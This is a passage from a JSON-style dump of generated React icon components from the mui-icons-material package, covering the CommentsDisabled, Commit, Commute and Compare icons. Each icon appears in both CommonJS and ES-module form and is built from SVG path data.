    "path": "packages/mui-icons-material/lib/CommentsDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.39 2.81C1 3.2 1 3.83 1.39 4.22l.61.61V16c0 1.1.9 2 2 2h11.17l4.61 4.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.81 2.81c-.39-.39-1.03-.39-1.42 0m4.99 6.4L8.17 11H7c-.55 0-1-.45-1-1 0-.32.15-.6.38-.79M7 14c-.55 0-1-.45-1-1s.45-1 1-1h2.17l2 2zm7.83-2-1-1H17c.55 0 1-.45 1-1s-.45-1-1-1h-5.17l-1-1H17c.55 0 1-.45 1-1s-.45-1-1-1H8.83l-4-4H20c1.1 0 2 .9 2 2v15.17L16.83 14H17c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'CommentsDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.39 2.81C1 3.2 1 3.83 1.39 4.22l.61.61V16c0 1.1.9 2 2 2h11.17l4.61 4.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.81 2.81c-.39-.39-1.03-.39-1.42 0m4.99 6.4L8.17 11H7c-.55 0-1-.45-1-1 0-.32.15-.6.38-.79M7 14c-.55 0-1-.45-1-1s.45-1 1-1h2.17l2 2zm7.83-2-1-1H17c.55 0 1-.45 1-1s-.45-1-1-1h-5.17l-1-1H17c.55 0 1-.45 1-1s-.45-1-1-1H8.83l-4-4H20c1.1 0 2 .9 2 2v15.17L16.83 14H17c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'CommentsDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.83 14H18v-2h-3.17l-1-1H18V9h-6.17l-1-1H18V6H8.83l-4-4H22v17.17zM2.1 2.1.69 3.51 2 4.83V18h13.17l5.31 5.31 1.41-1.41zM6 9h.17l2 2H6zm0 5v-2h3.17l2 2z\"\n}), 'CommentsDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.83 14H18v-2h-3.17l-1-1H18V9h-6.17l-1-1H18V6H8.83l-4-4H22v17.17zM2.1 2.1.69 3.51 2 4.83V18h13.17l5.31 5.31 1.41-1.41zM6 9h.17l2 2H6zm0 5v-2h3.17l2 2z\"\n}), 'CommentsDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H20v12h-1.17l-2-2H18v-2h-3.17l-1-1H18V9h-6.17l-1-1H18V6H8.83zm6.34 12-2-2H6v-2h3.17l-1-1H6V9h.17L4 6.83V16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.83 16H20V4H6.83l-2-2H20c1.1 0 2 .9 2 2v15.17zM18 6H8.83l2 2H18zm0 3h-6.17l2 2H18zm0 5v-2h-3.17l2 2zm3.9 7.9-1.41 1.41L15.17 18H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1zM13.17 16l-2-2H6v-2h3.17l-1-1H6V9h.17L4 6.83V16z\"\n}, \"1\")], 'CommentsDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommentsDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H20v12h-1.17l-2-2H18v-2h-3.17l-1-1H18V9h-6.17l-1-1H18V6H8.83zm6.34 12-2-2H6v-2h3.17l-1-1H6V9h.17L4 6.83V16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.83 16H20V4H6.83l-2-2H20c1.1 0 2 .9 2 2v15.17zM18 6H8.83l2 2H18zm0 3h-6.17l2 2H18zm0 5v-2h-3.17l2 2zm3.9 7.9-1.41 1.41L15.17 18H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1zM13.17 16l-2-2H6v-2h3.17l-1-1H6V9h.17L4 6.83V16z\"\n}, \"1\")], 'CommentsDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Commit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'Commit');"
  },
  {
    "path": "packages/mui-icons-material/lib/Commit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'Commit');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 13c.55 0 1-.45 1-1s-.45-1-1-1h-4.1c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H3c-.55 0-1 .45-1 1s.45 1 1 1h4.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4zm-9 2c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 13c.55 0 1-.45 1-1s-.45-1-1-1h-4.1c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H3c-.55 0-1 .45-1 1s.45 1 1 1h4.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4zm-9 2c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.9 11c-.46-2.28-2.48-4-4.9-4s-4.44 1.72-4.9 4H2v2h5.1c.46 2.28 2.48 4 4.9 4s4.44-1.72 4.9-4H22v-2zM12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'CommitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Commute.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2.03L9 18v-5H4V5.98L13 6v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 13.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Commute');"
  },
  {
    "path": "packages/mui-icons-material/lib/Commute.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2.03L9 18v-5H4V5.98L13 6v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 13.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Commute');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2h2v-5H4V6h9v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2h2v-5H4V6h9v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-.77.77c-.28.28-.28.72 0 1s.72.28 1 0L7 18h2v-5H4.5c-.28 0-.5-.22-.5-.5v-6c0-.28.22-.5.5-.5h8c.28 0 .5.22.5.5V8h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.24c0 .55.45.99 1 .99s1-.45 1-1v-1h8v1c0 .55.45 1 1 1s.99-.44 1-.99L22 13.77zm-7.8.34h6.48c.21 0 .4.14.47.34l.69 2c.11.32-.13.66-.47.66h-7.85c-.34 0-.58-.34-.47-.66l.69-2c.05-.2.24-.34.46-.34M12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-.77.77c-.28.28-.28.72 0 1s.72.28 1 0L7 18h2v-5H4.5c-.28 0-.5-.22-.5-.5v-6c0-.28.22-.5.5-.5h8c.28 0 .5.22.5.5V8h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.24c0 .55.45.99 1 .99s1-.45 1-1v-1h8v1c0 .55.45 1 1 1s.99-.44 1-.99L22 13.77zm-7.8.34h6.48c.21 0 .4.14.47.34l.69 2c.11.32-.13.66-.47.66h-7.85c-.34 0-.58-.34-.47-.66l.69-2c.05-.2.24-.34.46-.34M12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2h2v-5H4V6h9v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2h2v-5H4V6h9v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2h2v-5H4V6h9v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CommuteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4H5C3.34 4 2 5.34 2 7v8c0 1.66 1.34 3 3 3l-1 1v1h1l2-2h2v-5H4V6h9v2h2V7c0-1.66-1.34-3-3-3M5 14c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m15.57-4.34c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66l-1.42 4.11v5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V18h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CommuteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Compare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v2h2V1h-2zm0 15H5l5-6zm9-15h-5v2h5v13l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'Compare');"
  },
  {
    "path": "packages/mui-icons-material/lib/Compare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v2h2V1h-2zm0 15H5l5-6zm9-15h-5v2h5v13l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'Compare');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrows.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrows');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrows.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrows');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrowsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrowsOutlined');"
  },
  {
